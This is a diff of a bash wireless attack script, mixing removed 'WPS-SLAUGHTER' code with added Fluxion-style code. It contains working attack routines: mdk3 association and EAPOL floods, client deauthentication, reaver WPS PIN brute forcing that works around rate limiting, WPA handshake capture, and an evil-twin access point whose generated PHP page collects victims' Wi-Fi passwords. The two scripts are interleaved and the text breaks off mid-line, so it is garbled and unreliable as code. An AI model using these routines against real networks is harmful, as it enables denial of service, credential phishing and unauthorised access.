██║ ███████╗██║ ██║ -╚══╝╚══╝ ╚═╝ ╚══════╝ ╚══════╝╚══════╝╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝ ╚═╝ ╚══════╝╚═╝ ╚═╝ - -" - -echo "WPS-SLAUGHTER BY: Apathetic Euphoria" -echo "+ Help and Support from Aanarchyy" - -sleep 3 -clear - -#!/bin/bash -clear -declare BSSID; -declare ESSID; -declare CHANNEL; -declare WIFI_MONITOR; -declare WIFI_MONITOR2; -declare WIFI_MONITOR3; -declare WIFI_MONITOR4; -declare WIFI_MONITOR5; -sleep 3 -clear - -sudo rfkill unblock all -#####Functions for Monitor Mode#### - -enable_mon_mode_1() -{ -echo "Enabling Monitor Mode on $WIFI_MONITOR" -sudo ifconfig $WIFI_MONITOR down -sleep 1 -sudo iwconfig $WIFI_MONITOR mode monitor -sleep 1 -sudo ifconfig $WIFI_MONITOR up -echo "Monitor Mode Enabled" +function handshakelocation { + + conditional_clear + + mostrarheader + infoap + echo + echo -e "handshake location (Example: $red/root/fluxion.cap$transparent)" + echo -e "Press ${yellow}ENTER$transparent to skip" + echo + echo -n "Path: " + echo -ne "$red" + read handshakeloc + echo -ne "$transparent" + + if [ "$handshakeloc" = "" ]; then + deauthforce + else + if [ -f "$handshakeloc" ]; then + Host_SSID_loc=$(pyrit -r "$handshakeloc" analyze 2>&1 | grep "^#" | cut -d "(" -f2 | cut -d "'" -f2) + Host_MAC_loc=$(pyrit -r "$handshakeloc" analyze 2>&1 | grep "^#" | cut -d " " -f3 | tr '[:lower:]' '[:upper:]') + if [[ "$Host_MAC_loc" == *"$Host_MAC"* ]] && [[ "$Host_SSID_loc" == *"$Host_SSID"* ]]; then + if pyrit -r $handshakeloc analyze 2>&1 | sed -n /$(echo $Host_MAC | tr '[:upper:]' '[:lower:]')/,/^#/p | grep -vi "AccessPoint" | grep -qi "good,"; then + cp "$handshakeloc" $DUMP_PATH/$Host_MAC-01.cap + webinterface + else + echo "Broken handshake " + echo + sleep 4 + echo "you can try aircrack-ng" + echo "You want to try to aircrack-ng instead of pyrit to check the handshake? [ENTER = NO]" + echo + + read handshakeloc_aircrack + echo -ne "$transparent" + if [ "$handshakeloc_aircrack" = "" ]; then + handshakelocation + else + if aircrack-ng $handshakeloc | grep -q "1 handshake"; then + cp "$handshakeloc" $DUMP_PATH/$Host_MAC-01.cap + webinterface + else + echo "Broken handshake" + sleep 4 + handshakelocation + fi + fi + fi + else + echo -e "${red}Not_Found$transparent!" + echo + echo -e "File ${red}MAC$transparent" + + readarray -t lista_loc < <(pyrit -r $handshakeloc analyze 2>&1 | grep "^#") + for i in "${lista_loc[@]}"; do + echo -e "$green $(echo $i | cut -d " " -f1) $yellow$(echo $i | cut -d " " -f3 | tr '[:lower:]' '[:upper:]')$transparent ($green $(echo $i | cut -d "(" -f2 | cut -d "'" -f2)$transparent)" + done + + echo -e "Host ${green}MAC$transparent" + echo -e "$green #1: $yellow$Host_MAC$transparent ($green $Host_SSID$transparent)" + sleep 7 + handshakelocation + fi + else + echo -e "File ${red}NOT$transparent present" + sleep 4 + handshakelocation + fi + fi } -enable_mon_mode_2() -{ -echo "Enabling Monitor Mode on $WIFI_MONITOR2" -sudo ifconfig $WIFI_MONITOR2 down -sleep 1 -sudo iwconfig $WIFI_MONITOR2 mode monitor -sleep 1 -sudo ifconfig $WIFI_MONITOR2 up -echo "Monitor Mode Enabled" +function deauthforce { + + conditional_clear + + mostrarheader + while true; do + + echo "handshake check" + echo " " + echo -e " "$blue"1)"$transparent" aircrack-ng (Miss chance)" + echo -e " "$blue"2)"$transparent" pyrit" + echo -e " "$blue"3)"$transparent" Back" + echo " " + echo -n " #> " + read yn + echo "" + case $yn in + 1 ) handshakemode="normal"; askclientsel; break ;; + 2 ) handshakemode="hard"; askclientsel; break ;; + 3 ) askauth; break ;; + * ) echo " +Unknown option. Choose again"; conditional_clear ;; + esac + done } -enable_mon_mode_3() -{ -echo "Enabling Monitor Mode on $WIFI_MONITOR3" -sudo ifconfig $WIFI_MONITOR3 down -sleep 1 -sudo iwconfig $WIFI_MONITOR3 mode monitor -sleep 1 -sudo ifconfig $WIFI_MONITOR3 up -echo "Monitor Mode Enabled" -} +############################################### < MENU > ############################################### -enable_mon_mode_4() -{ -echo "Enabling Monitor Mode on $WIFI_MONITOR4" -sudo ifconfig $WIFI_MONITOR4 down -sleep 1 -sudo iwconfig $WIFI_MONITOR4 mode monitor -sleep 1 -sudo ifconfig $WIFI_MONITOR4 up -echo "Monitor Mode Enabled" -} -enable_mon_mode_5() -{ -echo "Enabling Monitor Mode on $WIFI_MONITOR5" -sudo ifconfig $WIFI_MONITOR5 down -sleep 1 -sudo iwconfig $WIFI_MONITOR5 mode monitor -sleep 1 -sudo ifconfig $WIFI_MONITOR5 up -echo "Monitor Mode Enabled" -} -####End of Functions for Monitor Mode#### -#### Functions for MAC CHANGER #### -mac_change_1() -{ -echo "Setting the MAC Address on $WIFI_MONITOR" -sudo ifconfig $WIFI_MONITOR down -sleep 3 -macchanger $WIFI_MONITOR -m 02:22:88:29:EC:6F -sleep 3 -sudo ifconfig $WIFI_MONITOR up -echo "MAC Changed" -} -mac_change_2() -{ -echo "Setting the MAC Address on $WIFI_MONITOR2" -sudo ifconfig $WIFI_MONITOR2 down -sleep 3 -macchanger $WIFI_MONITOR2 -m 02:22:88:29:EC:6F -sleep 3 -sudo ifconfig $WIFI_MONITOR2 up -echo "MAC Changed" -} +############################################# < HANDSHAKE > ############################################ -mac_change_3() -{ -echo "Setting the MAC Address on $WIFI_MONITOR3" -sudo ifconfig $WIFI_MONITOR3 down -sleep 3 -macchanger $WIFI_MONITOR3 -m 02:22:88:29:EC:6F -sleep 3 -sudo ifconfig $WIFI_MONITOR3 up -echo "MAC Changed" +# Tipo de Deauth que se va a realizar +function askclientsel { + + conditional_clear + + while true; do + mostrarheader + + echo "Capture Handshake" + echo " " + echo -e " "$blue"1)"$transparent" Deauth all" + echo -e " "$blue"2)"$transparent" Deauth all [mdk3]" + echo -e " "$blue"3)"$transparent" Deauth target " + echo -e " "$blue"4)"$transparent" Rescan networks " + echo -e " "$blue"5)"$transparent" Exit" + echo " " + echo -n " #> " + read yn + echo "" + case $yn in + 1 ) deauth all; break ;; + 2 ) deauth mdk3; break ;; + 3 ) deauth esp; break ;; + 4 ) killall airodump-ng &>$flux_output_device; deltax; break;; + 5 ) exitmode; break ;; + * ) echo " +Unknown option. Choose again"; conditional_clear ;; + esac + done + } -mac_change_4() -{ -echo "Setting the MAC Address on $WIFI_MONITOR4" -sudo ifconfig $WIFI_MONITOR4 down -sleep 3 -macchanger $WIFI_MONITOR4 -m 02:22:88:29:EC:6F -sleep 3 -sudo ifconfig $WIFI_MONITOR4 up -echo "MAC Changed" +# +function deauth { + + conditional_clear + + iwconfig $WIFI_MONITOR channel $Host_CHAN + + case $1 in + all ) + DEAUTH=deauthall + capture & $DEAUTH + CSVDB=$Host_MAC-01.csv + ;; + mdk3 ) + DEAUTH=deauthmdk3 + capture & $DEAUTH & + CSVDB=$Host_MAC-01.csv + ;; + esp ) + DEAUTH=deauthesp + HOST=`cat $DUMP_PATH/$CSVDB | grep -a $Host_MAC | awk '{ print $1 }'| grep -a -v 00:00:00:00| grep -v $Host_MAC` + LINEAS_CLIENTES=`echo "$HOST" | wc -m | awk '{print $1}'` + + if [ $LINEAS_CLIENTES -le 5 ]; then + DEAUTH=deauthall + capture & $DEAUTH + CSVDB=$Host_MAC-01.csv + deauth + + fi + + capture + for CLIENT in $HOST; do + Client_MAC=`echo ${CLIENT:0:17}` + deauthesp + done + $DEAUTH + CSVDB=$Host_MAC-01.csv + ;; + esac + + + deauthMENU + } -mac_change_5() -{ -echo "Setting the MAC Address on $WIFI_MONITOR5" -sudo ifconfig $WIFI_MONITOR5 down -sleep 3 -macchanger $WIFI_MONITOR5 -m 02:22:88:29:EC:6F -sleep 3 -sudo ifconfig $WIFI_MONITOR5 up -echo "MAC Changed" +function deauthMENU { + + Handshake_statuscheck="${grey}No handshake$transparent" + + while true; do + conditional_clear + mostrarheader + + echo "*Capture Handshake* " + echo + echo -e "Status handshake: $Handshake_statuscheck" + echo + echo -e " "$blue"1)"$transparent" Yes" + echo -e " "$blue"2)"$transparent" Strike again " + echo -e " "$blue"3)"$transparent" No (Select another attack)" + echo -e " "$blue"4)"$transparent" Select another network" + echo -e " "$blue"5)"$transparent" Exit" + echo " " + echo -n ' #> ' + read yn + + case $yn in + 1 ) checkhandshake;; + 2 ) capture; $DEAUTH & ;; + 3 ) conditional_clear; askclientsel; break;; + 4 ) killall airodump-ng &>$flux_output_device; CSVDB=dump-01.csv; breakmode=1; selection; break ;; + 5 ) exitmode; break;; + * ) echo " +Unknown option. Choose again"; conditional_clear ;; + esac + + done } -####End of Functions for MAC CHANGER #### - - -####Target Scanner#### - -scan_for_targets() -{ - -sudo ifconfig $WIFI_MONITOR down -sudo iwconfig $WIFI_MONITOR mode managed -sudo ifconfig $WIFI_MONITOR up - -eval $(sudo iwlist $WIFI_MONITOR scan | awk '/Address|ESSID|Channel:/' | sed 's/"//g' | sed 's/ Cell 01 - Address: /BSSID1=/g' | sed 's/ Cell 02 - Address: /BSSID2=/g' | sed 's/ Cell 03 - Address: /BSSID3=/g' | sed 's/ Cell 04 - Address: /BSSID4=/g' | sed 's/ Cell 05 - Address: /BSSID5=/g' | sed 's/ Cell 06 - Address: /BSSID6=/g' | sed 's/ Cell 07 - Address: /BSSID7=/g' | sed 's/ Cell 08 - Address: /BSSID8=/g' | sed 's/ Cell 09 - Address: /BSSID9=/g' | sed 's/ Cell 10 - Address: /BSSID10=/g' | sed 's/ Cell 11 - Address: /BSSID11=/g' | sed 's/ Cell 12 - Address: /BSSID12=/g' | sed 's/ Cell 13 - Address: /BSSID13=/g' | sed 's/ Cell 14 - Address: /BSSID14=/g' | sed 's/ Cell 15 - Address: /BSSID15=/g' | sed 's/ Cell 16 - Address: /BSSID16=/g' | sed 's/ Cell 17 - Address: /BSSID17=/g' | sed 's/ Cell 18 - Address: /BSSID18=/g' | sed 's/ Cell 19 - Address: /BSSID19=/g' | sed 's/ Cell 20 - Address: /BSSID20=/g' | sed '2s/ Channel:/CHANNEL1=/g' | sed '5s/ Channel:/CHANNEL2=/g' | sed '8s/ Channel:/CHANNEL3=/g' | sed '11s/ Channel:/CHANNEL4=/g' | sed '14s/ Channel:/CHANNEL5=/g' | sed '17s/ Channel:/CHANNEL6=/g' | sed '20s/ Channel:/CHANNEL7=/g' | sed '23s/ Channel:/CHANNEL8=/g' | sed '26s/ Channel:/CHANNEL9=/g' | sed '29s/ Channel:/CHANNEL10=/g' | sed '32s/ Channel:/CHANNEL11=/g' |sed '35s/ Channel:/CHANNEL12=/g' | sed '38s/ Channel:/CHANNEL13=/g' | sed '41s/ Channel:/CHANNEL14=/g' | sed '44s/ Channel:/CHANNEL15=/g' | sed '47s/ Channel:/CHANNEL16=/g' | sed '50s/ Channel:/CHANNEL17=/g' | sed '53s/ Channel:/CHANNEL18=/g' | sed '56s/ Channel:/CHANNEL19=/g' | sed '59s/ Channel:/CHANNEL20=/g' | sed '3s/ ESSID:/ESSID1=/g' | sed '6s/ ESSID:/ESSID2=/g' | sed '9s/ ESSID:/ESSID3=/g' | sed '12s/ ESSID:/ESSID4=/g' | sed '15s/ ESSID:/ESSID5=/g' | sed '18s/ ESSID:/ESSID6=/g' | sed '21s/ ESSID:/ESSID7=/g' | sed '24s/ ESSID:/ESSID8=/g' | sed '27s/ ESSID:/ESSID9=/g' | sed '30s/ ESSID:/ESSID10=/g' | sed '33s/ ESSID:/ESSID11=/g' | sed '36s/ ESSID:/ESSID12=/g' | sed '39s/ ESSID:/ESSID13=/g' | sed '42s/ ESSID:/ESSID14=/g' | sed '45s/ ESSID:/ESSID15=/g' | sed '48s/ ESSID:/ESSID16=/g' | sed '51s/ ESSID:/ESSID17=/g' | sed '54s/ ESSID:/ESSID18=/g' | sed '57s/ ESSID:/ESSID19=/g' | sed '60s/ ESSID:/ESSID20=/g') - -conditional_clear -mostrarheader - -echo "Select your wlan" -echo "" -echo -e ""$blue"0)"$transparent" Rescan" -echo -e ""$blue"1)"$transparent" $ESSID1" -echo -e ""$blue"2)"$transparent" $ESSID2" -echo -e ""$blue"3)"$transparent" $ESSID3" -echo -e ""$blue"4)"$transparent" $ESSID4" -echo -e ""$blue"5)"$transparent" $ESSID5" -echo -e ""$blue"6)"$transparent" $ESSID6" -echo -e ""$blue"7)"$transparent" $ESSID7" -echo -e ""$blue"8)"$transparent" $ESSID9" -echo -e ""$blue"9)"$transparent" $ESSID10" -echo -e ""$blue"10)"$transparent" $ESSID11" -echo -e ""$blue"11)"$transparent" $ESSID11" -echo -e ""$blue"12)"$transparent" $ESSID12" -echo -e ""$blue"13)"$transparent" $ESSID13" -echo -e ""$blue"14)"$transparent" $ESSID14" -echo -e ""$blue"15)"$transparent" $ESSID15" -echo -e ""$blue"16)"$transparent" $ESSID16" -echo -e ""$blue"17)"$transparent" $ESSID17" -echo -e ""$blue"18)"$transparent" $ESSID18" -echo -e ""$blue"19)"$transparent" $ESSID19" -echo -e ""$blue"20)"$transparent" $ESSID20" -echo -e ""$blue"21)"$transparent"EXIT" -echo -e "" - - -read a -case $a in - - 0) -clear -scan_for_targets -;; - 21) -clear -exitmode -;; - 1) -BSSID=$BSSID1 -ESSID=$ESSID1 -CHANNEL=$CHANNEL1 -;; - 2) -BSSID=$BSSID2 -ESSID=$ESSID2 -CHANNEL=$CHANNEL2 -;; - 3) -BSSID=$BSSID3 -ESSID=$ESSID3 -CHANNEL=$CHANNEL3 -;; - 4) -BSSID=$BSSID4 -ESSID=$ESSID4 -CHANNEL=$CHANNEL4 -;; - 5) -BSSID=$BSSID5 -ESSID=$ESSID5 -CHANNEL=$CHANNEL5 -;; - 6) -BSSID=$BSSID6 -ESSID=$ESSID6 -CHANNEL=$CHANNEL6 -;; - 7) -BSSID=$BSSID7 -ESSID=$ESSID7 -CHANNEL=$CHANNEL7 -;; - 8) -BSSID=$BSSID8 -ESSID=$ESSID8 -CHANNEL=$CHANNEL8 -;; - 9) -BSSID=$BSSID9 -ESSID=$ESSID9 -CHANNEL=$CHANNEL9 -;; - 10) -BSSID=$BSSID10 -ESSID=$ESSID10 -CHANNEL=$CHANNEL10 -;; - 11) -BSSID=$BSSID11 -ESSID=$ESSID11 -CHANNEL=$CHANNEL11 -;; - 12) -BSSID=$BSSID12 -ESSID=$ESSID12 -CHANNEL=$CHANNEL12 -;; - 13) -BSSID=$BSSID13 -ESSID=$ESSID13 -CHANNEL=$CHANNEL13 -;; - 14) -BSSID=$BSSID14 -ESSID=$ESSID14 -CHANNEL=$CHANNEL14 -;; - 15) -BSSID=$BSSID15 -ESSID=$ESSID15 -CHANNEL=$CHANNEL15 -;; - 16) -BSSID=$BSSID16 -ESSID=$ESSID16 -CHANNEL=$CHANNEL16 -;; - 17) -BSSID=$BSSID17 -ESSID=$ESSID17 -CHANNEL=$CHANNEL17 -;; - 18) -BSSID=$BSSID18 -ESSID=$ESSID18 -CHANNEL=$CHANNEL18 -;; - 19) -BSSID=$BSSID19 -ESSID=$ESSID19 -CHANNEL=$CHANNEL19 -;; - 20) -BSSID=$BSSID20 -ESSID=$ESSID20 -CHANNEL=$CHANNEL20 -;; - *) -Invalid Option -;; -esac - +# Capture all +function capture { + + conditional_clear + if ! ps -A | grep -q airodump-ng; then + + rm -rf $DUMP_PATH/$Host_MAC* + xterm $HOLD -title "Capturing data channel --> $Host_CHAN" $TOPRIGHT -bg "#000000" -fg "#FFFFFF" -e airodump-ng --bssid $Host_MAC -w $DUMP_PATH/$Host_MAC -c $Host_CHAN -a $WIFI_MONITOR & + fi } -####End of Target Scanner#### - -################################## Functions For MDK3 ######################################## - -run_mdk3_ASOC1() -{ - xterm -e "timeout 60 mdk3 WIFI_MONITOR a -a $BSSID -m" +# Check the handshake before continuing +function checkhandshake { + + if [ "$handshakemode" = "normal" ]; then + if aircrack-ng $DUMP_PATH/$Host_MAC-01.cap | grep -q "1 handshake"; then + killall airodump-ng &>$flux_output_device + webinterface + break + else + Handshake_statuscheck="${red}Not_Found$transparent" + fi + elif [ "$handshakemode" = "hard" ]; then + pyrit -r $DUMP_PATH/$Host_MAC-01.cap -o $DUMP_PATH/test.cap stripLive &>$flux_output_device + + if pyrit -r $DUMP_PATH/test.cap analyze 2>&1 | grep -q "good,"; then + killall airodump-ng &>$flux_output_device + webinterface + break + else + if aircrack-ng $DUMP_PATH/$Host_MAC-01.cap | grep -q "1 handshake"; then + Handshake_statuscheck="${yellow}Corrupt$transparent" + else + Handshake_statuscheck="${red}Not_Found$transparent" + fi + fi + + rm $DUMP_PATH/test.cap &>$flux_output_device + fi } -run_mdk3_EAPOL1() -{ - xterm -e "timeout 20s mdk3 $WIFI_MONITOR1 x 0 -t $BSSID -n $ESSID -s 250" -} +############################################# < HANDSHAKE > ############################################ -run_mdk3_ASOC2() -{ - xterm -e "timeout 60 mdk3 $WIFI_MONITOR a -a $BSSID -m & timeout 60 mdk3 $WIFI_MONITOR2 a -a $BSSID -m" -} -run_mdk3_EAPOL2() -{ - xterm -e "timeout 20s mdk3 $WIFI_MONITOR x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $WIFI_MONITOR2 x 0 -t $BSSID -n $ESSID -s 250" -} -run_mdk3_ASOC3() -{ - xterm -e "timeout 60 mdk3 $WIFI_MONITOR a -a $BSSID -m & timeout 60 mdk3 $WIFI_MONITOR2 a -a $BSSID -m & timeout 60 mdk3 $WIFI_MONITOR3 a -a $BSSID -m" -} -run_mdk3_EAPOL3() -{ - xterm -e "timeout 20s mdk3 $WIFI_MONITOR x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $WIFI_MONITOR2 x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $WIFI_MONITOR3 x 0 -t $BSSID -n $ESSID -s 250" -} -run_mdk3_ASOC4() -{ - xterm -e "timeout 60 mdk3 $WIFI_MONITOR a -a $BSSID -m & timeout 60 mdk3 $WIFI_MONITOR2 a -a $BSSID -m & timeout 60 mdk3 $WIFI_MONITOR3 a -a $BSSID -m & timeout 60 mdk3 $WIFI_MONITOR4 a -a $BSSID -m" -} -run_mdk3_EAPOL4() -{ - xterm -e "timeout 20s mdk3 $WIFI_MONITOR x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $WIFI_MONITOR2 x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $WIFI_MONITOR3 x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $WIFI_MONITOR4 x 0 -t $BSSID -n $ESSID -s 250" -} +############################################# < ATAQUE > ############################################ -run_mdk3_ASOC5() -{ - xterm -e "timeout 60 mdk3 $WIFI_MONITOR a -a $BSSID -m & timeout 60 mdk3 $WIFI_MONITOR2 a -a $BSSID -m & timeout 60 mdk3 $WIFI_MONITOR3 a -a $BSSID -m & timeout 60 mdk3 $WIFI_MONITOR4 a -a $BSSID -m & timeout 60 mdk3 $WIFI_MONITOR5 a -a $BSSID -m" -} +# Select web interface that will be used +function webinterface { + + while true; do + conditional_clear + mostrarheader + + infoap + echo + echo "Select Web Interface" + echo + + echo -e "$blue""1)"$transparent" Web Interface" + echo -e "$blue""2)"$transparent" \e[1;31mExit"$transparent"" + + echo + echo -n "#? " + read line + + if [ "$line" = "2" ]; then + exitmode + elif [ "$line" = "1" ]; then + conditional_clear + mostrarheader + + infoap + echo + echo "SELECT LANGUAGE" + echo + + echo -e "$blue""1)"$transparent" English [ENG]" + echo -e "$blue""2)"$transparent" Spanish [ESP]" + echo -e "$blue""3)"$transparent" Italy [IT]" + echo -e "$blue""4)"$transparent" French [FR]" + echo -e "$blue""5)"$transparent" Portuguese [POR]" + echo -e "$blue""6)"$transparent" German [GER]" + echo -e "$blue""7)"$transparent" \e[1;31mBack"$transparent"" + + echo + echo -n "#? " + read fluxass + language=${webinterfaceslenguage[$line]} + + if [ "$fluxass" = "1" ]; then + DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_ENG + DIALOG_WEB_INFO=$DIALOG_WEB_INFO_ENG + DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_ENG + DIALOG_WEB_OK=$DIALOG_WEB_OK_ENG + DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_ENG + DIALOG_WEB_BACK=$DIALOG_WEB_BACK_ENG + DIALOG_WEB_LENGHT_MIN=$DIALOG_WEB_LENGHT_MIN_ENG + DIALOG_WEB_LENGHT_MAX=$DIALOG_WEB_LENGHT_MAX_ENG + NEUTRA + break + elif [ "$fluxass" = "2" ]; then + DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_ESP + DIALOG_WEB_INFO=$DIALOG_WEB_INFO_ESP + DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_ESP + DIALOG_WEB_OK=$DIALOG_WEB_OK_ESP + DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_ESP + DIALOG_WEB_BACK=$DIALOG_WEB_BACK_ESP + DIALOG_WEB_LENGHT_MIN=$DIALOG_WEB_LENGHT_MIN_ESP + DIALOG_WEB_LENGHT_MAX=$DIALOG_WEB_LENGHT_MAX_ESP + NEUTRA + break + elif [ "$fluxass" = "3" ]; then + DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_IT + DIALOG_WEB_INFO=$DIALOG_WEB_INFO_IT + DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_IT + DIALOG_WEB_OK=$DIALOG_WEB_OK_IT + DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_IT + DIALOG_WEB_BACK=$DIALOG_WEB_BACK_IT + DIALOG_WEB_LENGHT_MIN=$DIALOG_WEB_LENGHT_MIN_IT + DIALOG_WEB_LENGHT_MAX=$DIALOG_WEB_LENGHT_MAX_IT + NEUTRA + break + elif [ "$fluxass" = "4" ]; then + DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_FR + DIALOG_WEB_INFO=$DIALOG_WEB_INFO_FR + DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_FR + DIALOG_WEB_OK=$DIALOG_WEB_OK_FR + DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_FR + DIALOG_WEB_BACK=$DIALOG_WEB_BACK_FR + DIALOG_WEB_LENGHT_MIN=$DIALOG_WEB_LENGHT_MIN_FR + DIALOG_WEB_LENGHT_MAX=$DIALOG_WEB_LENGHT_MAX_FR + NEUTRA + break + elif [ "$fluxass" = "5" ]; then + DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_POR + DIALOG_WEB_INFO=$DIALOG_WEB_INFO_POR + DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_POR + DIALOG_WEB_OK=$DIALOG_WEB_OK_POR + DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_POR + DIALOG_WEB_BACK=$DIALOG_WEB_BACK_POR + DIALOG_WEB_LENGHT_MIN=$DIALOG_WEB_LENGHT_MIN_POR + DIALOG_WEB_LENGHT_MAX=$DIALOG_WEB_LENGHT_MAX_POR + NEUTRA + break -run_mdk3_EAPOL5() -{ - xterm -e "timeout 20s mdk3 $WIFI_MONITOR x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $WIFI_MONITOR2 x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $WIFI_MONITOR3 x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $WIFI_MONITOR4 x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $WIFI_MONITOR5 x 0 -t $BSSID -n $ESSID -s 250" + elif [ "$fluxass" = "6" ]; then + DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_GER + DIALOG_WEB_INFO=$DIALOG_WEB_INFO_GER + DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_GER + DIALOG_WEB_OK=$DIALOG_WEB_OK_GER + DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_GER + DIALOG_WEB_BACK=$DIALOG_WEB_BACK_GER + DIALOG_WEB_LENGHT_MIN=$DIALOG_WEB_LENGHT_MIN_GER + DIALOG_WEB_LENGHT_MAX=$DIALOG_WEB_LENGHT_MAX_GER + NEUTRA + break + elif [ "$fluxass" = "7" ]; then + continue + fi + fi + + done + preattack + attack } -##################################End Of Functions For MDK3 ######################################## +# Create different settings required for the script +function preattack { + +# Config HostAPD +echo "interface=$WIFI +driver=nl80211 +ssid=$Host_SSID +channel=$Host_CHAN +">$DUMP_PATH/hostapd.conf -conditional_clear -mostrarheader +# Creates PHP +echo " " - -read a -case $a in - 1) -clear -echo -read -p " - What is the name of your Wlan Adapter? (Ex:wlan0) - ": ADAPTER; +\$count_my_page = (\"$DUMP_PATH/hit.txt\"); +\$hits = file(\$count_my_page); +\$hits[0] ++; +\$fp = fopen(\$count_my_page , \"w\"); +fputs(\$fp , \"\$hits[0]\"); +fclose(\$fp); -clear +// Receive form Post data and Saving it in variables -scan_for_targets +\$key1 = @\$_POST['key1']; +// Write the name of text file where data will be store +\$filename = \"$DUMP_PATH/data.txt\"; +\$filename2 = \"$DUMP_PATH/status.txt\"; +\$intento = \"$DUMP_PATH/intento\"; -clear -enable_mon_mode_1 +// Marge all the variables with text in a single variable. +\$f_data= ''.\$key1.''; -sleep 1 -clear +if ( (strlen(\$key1) < 8) ) { +echo \"\"; +break; +} +if ( (strlen(\$key1) > 63) ) { +echo \"\"; +break; +} -conditional_clear -mostrarheader +\$file = fopen(\$filename, \"w\"); +fwrite(\$file,\"\$f_data\"); +fwrite(\$file,\"\n\"); +fclose(\$file); -echo "Change MAC Address" -echo " " - echo -e " "$blue"1)"$transparent" yes" - echo -e " "$blue"2)"$transparent" no" - echo " " - echo -n " #> " -read c -case $c in - 1) -clear +\$archivo = fopen(\$intento, \"w\"); +fwrite(\$archivo,\"\n\"); +fclose(\$archivo); -mac_change_1 +while(1) +{ -sleep 1 +if (file_get_contents(\"\$intento\") == 2) { + header(\"location:final.html\"); + break; + } +if (file_get_contents(\"\$intento\") == 1) { + header(\"location:error.html\"); + unlink(\$intento); + break; + } + +sleep(1); +} -clear -;; - 2) -clear -;; - *)Invalid Option -;; -esac +?>" > $DUMP_PATH/data/check.php +# Config DHCP +echo "authoritative; -menu () { -clear +default-lease-time 600; +max-lease-time 7200; - conditional_clear - mostrarheader - - - LINEAS_WIFIS_CSV=`wc -l $DUMP_PATH/$CSVDB | awk '{print $1}'` - - if [ $LINEAS_WIFIS_CSV -le 3 ]; then - deltax && break - fi - - linap=`cat $DUMP_PATH/$CSVDB | egrep -a -n '(Station|Cliente)' | awk -F : '{print $1}'` - linap=`expr $linap - 1` - head -n $linap $DUMP_PATH/$CSVDB &> $DUMP_PATH/dump-02.csv - tail -n +$linap $DUMP_PATH/$CSVDB &> $DUMP_PATH/clientes.csv - echo " WIFI LIST " - echo "" - echo " # MAC CHAN SECU PWR ESSID" - echo "" - i=0 - - while IFS=, read MAC FTS LTS CHANNEL SPEED PRIVACY CYPHER AUTH POWER BEACON IV LANIP IDLENGTH ESSID KEY;do - longueur=${#MAC} - PRIVACY=$(echo $PRIVACY| tr -d "^ ") - PRIVACY=${PRIVACY:0:4} - if [ $longueur -ge 17 ]; then - i=$(($i+1)) - POWER=`expr $POWER + 100` - CLIENTE=`cat $DUMP_PATH/clientes.csv | grep $MAC` - - if [ "$CLIENTE" != "" ]; then - CLIENTE="*" - fi - - echo -e " ""$green "$i")"$white"$CLIENTE\t""$yellow"$MAC"\t""$green "$CHANNEL"\t""$red" $PRIVACY"\t ""$yellow"$POWER%"\t""$green "$ESSID""$transparent"" - aidlenght=$IDLENGTH - assid[$i]=$ESSID - achannel[$i]=$CHANNEL - amac[$i]=$MAC - aprivacy[$i]=$PRIVACY - aspeed[$i]=$SPEED - fi - done < $DUMP_PATH/dump-02.csv - echo - echo -e ""$green "("$white"*"$green ")Active clients"$transparent"" - echo "" - echo " Select Target " - echo -n " #> " - read choice - idlenght=${aidlenght[$choice]} - ssid=${assid[$choice]} - channel=$(echo ${achannel[$choice]}|tr -d [:space:]) - mac=${amac[$choice]} - privacy=${aprivacy[$choice]} - speed=${aspeed[$choice]} - Host_IDL=$idlength - Host_SPEED=$speed - Host_ENC=$privacy - Host_MAC=$mac - Host_CHAN=$channel - acouper=${#ssid} - fin=$(($acouper-idlength)) - Host_SSID=${ssid:1:fin} - - -echo "*AutoFlood Attacks will store the Password in Root/(Reaver or Bully)Output.txt Once found*" - -read d -case $d in - 0) -clear -scan_for_targets -enable_mon_mode_1 -menu -;; - 1) -clear -timeout 20s mdk3 $WIFI_MONITOR x 0 -t $BSSID -n $ESSID -s 250 -menu -;; - 2) -clear -timeout 60 mdk3 $WIFI_MONITOR a -a $BSSID -m -menu -;; - 3) -clear -reaver -i $WIFI_MONITOR -b $BSSID -c $CHANNEL -vv -menu -;; - 4) -clear -xterm -e "wash -i $WIFI_MONITOR" & -menu -;; - 5) -clear -reaver -i $WIFI_MONITOR -b $BSSID -c $CHANNEL -vv | tee ReaverOutput.txt & -reaver_pid=$! - -while kill -0 $reaver_pid ; do - DETECT_RATE_LIMITING=`awk '/./{line=$0} END{print line}' ReaverOutput.txt` - if [[ $DETECT_RATE_LIMITING = *"limiting"* ]]; then - run_mdk3_ASOC1 - fi - sleep 1 -done -menu -;; - 6) -clear -reaver -i $WIFI_MONITOR -b $BSSID -c $CHANNEL -vv | tee ReaverOutput.txt & -reaver_pid=$! - -while kill -0 $reaver_pid ; do - DETECT_RATE_LIMITING=`awk '/./{line=$0} END{print line}' ReaverOutput.txt` - if [[ 